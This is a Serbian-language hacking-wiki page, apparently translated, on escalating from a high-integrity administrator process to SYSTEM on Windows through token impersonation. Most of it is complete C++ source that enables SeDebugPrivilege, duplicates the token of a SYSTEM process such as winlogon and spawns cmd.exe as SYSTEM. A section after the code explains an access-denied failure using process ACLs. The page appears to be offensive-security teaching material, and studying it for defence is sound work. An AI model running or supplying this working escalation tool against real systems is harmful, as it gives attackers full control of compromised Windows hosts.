SeImpersonate from High To System

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Code

Sledeći kod sa ovde. Omogućava da naznačite ID procesa kao argument i CMD koji se izvršava kao korisnik naznačenog procesa će biti pokrenut.
Pokretanjem u procesu visoke integriteta možete naznačiti PID procesa koji se izvršava kao System (kao winlogon, wininit) i izvršiti cmd.exe kao sistem.

impersonateuser.exe 1234

// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962

#include <windows.h>
#include <iostream>
#include <Lmcons.h>
BOOL SetPrivilege(
HANDLE hToken,          // access token handle
LPCTSTR lpszPrivilege,  // name of privilege to enable/disable
BOOL bEnablePrivilege   // to enable or disable privilege
)
{
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL,            // lookup privilege on local system
lpszPrivilege,   // privilege to lookup
&luid))        // receives LUID of privilege
{
printf("[-] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;
// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[-] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
printf("[-] The token does not have the specified privilege. \n");
return FALSE;
}
return TRUE;
}
std::string get_username()
{
TCHAR username[UNLEN + 1];
DWORD username_len = UNLEN + 1;
GetUserName(username, &username_len);
std::wstring username_w(username);
std::string username_s(username_w.begin(), username_w.end());
return username_s;
}
int main(int argc, char** argv) {
// Print whoami to compare to thread later
printf("[+] Current user is: %s\n", (get_username()).c_str());
// Grab PID from command line argument
char* pid_c = argv[1];
DWORD PID_TO_IMPERSONATE = atoi(pid_c);
// Initialize variables and structures
HANDLE tokenHandle = NULL;
HANDLE duplicateTokenHandle = NULL;
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInformation;
ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
startupInfo.cb = sizeof(STARTUPINFO);
// Add SE debug privilege
HANDLE currentTokenHandle = NULL;
BOOL getCurrentToken = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &currentTokenHandle);
if (SetPrivilege(currentTokenHandle, L"SeDebugPrivilege", TRUE))
{
printf("[+] SeDebugPrivilege enabled!\n");
}
// Call OpenProcess(), print return code and error code
HANDLE processHandle = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, true, PID_TO_IMPERSONATE);
if (GetLastError() == NULL)
printf("[+] OpenProcess() success!\n");
else
{
printf("[-] OpenProcess() Return Code: %i\n", processHandle);
printf("[-] OpenProcess() Error: %i\n", GetLastError());
}
// Call OpenProcessToken(), print return code and error code
BOOL getToken = OpenProcessToken(processHandle, MAXIMUM_ALLOWED, &tokenHandle);
if (GetLastError() == NULL)
printf("[+] OpenProcessToken() success!\n");
else
{
printf("[-] OpenProcessToken() Return Code: %i\n", getToken);
printf("[-] OpenProcessToken() Error: %i\n", GetLastError());
}
// Impersonate user in a thread
BOOL impersonateUser = ImpersonateLoggedOnUser(tokenHandle);
if (GetLastError() == NULL)
{
printf("[+] ImpersonatedLoggedOnUser() success!\n");
printf("[+] Current user is: %s\n", (get_username()).c_str());
printf("[+] Reverting thread to original user context\n");
RevertToSelf();
}
else
{
printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);
printf("[-] ImpersonatedLoggedOnUser() Error: %i\n", GetLastError());
}
// Call DuplicateTokenEx(), print return code and error code
BOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() == NULL)
printf("[+] DuplicateTokenEx() success!\n");
else
{
printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);
printf("[-] DupicateTokenEx() Error: %i\n", GetLastError());
}
// Call CreateProcessWithTokenW(), print return code and error code
BOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() == NULL)
printf("[+] Process spawned!\n");
else
{
printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);
printf("[-] CreateProcessWithTokenW Error: %i\n", GetLastError());
}
return 0;
}

Greška

U nekim slučajevima možete pokušati da se pretvarate da ste System i to neće raditi, prikazujući izlaz poput sledećeg:

[+] OpenProcess() success!
[+] OpenProcessToken() success!
[-] ImpersonatedLoggedOnUser() Return Code: 1
[-] ImpersonatedLoggedOnUser() Error: 5
[-] DuplicateTokenEx() Return Code: 0
[-] DupicateTokenEx() Error: 5
[-] CreateProcessWithTokenW Return Code: 0
[-] CreateProcessWithTokenW Error: 1326

To znači da čak i ako radite na visokom integritetu nemate dovoljno dozvola.
Proverimo trenutne Administrator dozvole nad svchost.exe procesima koristeći process explorer (ili možete koristiti i process hacker):

1. Izaberite proces svchost.exe
2. Desni klik --> Svojstva
3. Unutar "Bezbednost" taba kliknite u donjem desnom uglu na dugme "Dozvole"
4. Kliknite na "Napredno"
5. Izaberite "Administratori" i kliknite na "Uredi"
6. Kliknite na "Prikaži napredne dozvole"

Prethodna slika sadrži sve privilegije koje "Administratori" imaju nad izabranim procesom (kao što možete videti, u slučaju svchost.exe imaju samo "Query" privilegije)

Pogledajte privilegije koje "Administratori" imaju nad winlogon.exe:

Unutar tog procesa "Administratori" mogu "Čitati memoriju" i "Čitati dozvole" što verovatno omogućava Administratorima da imituju token koji koristi ovaj proces.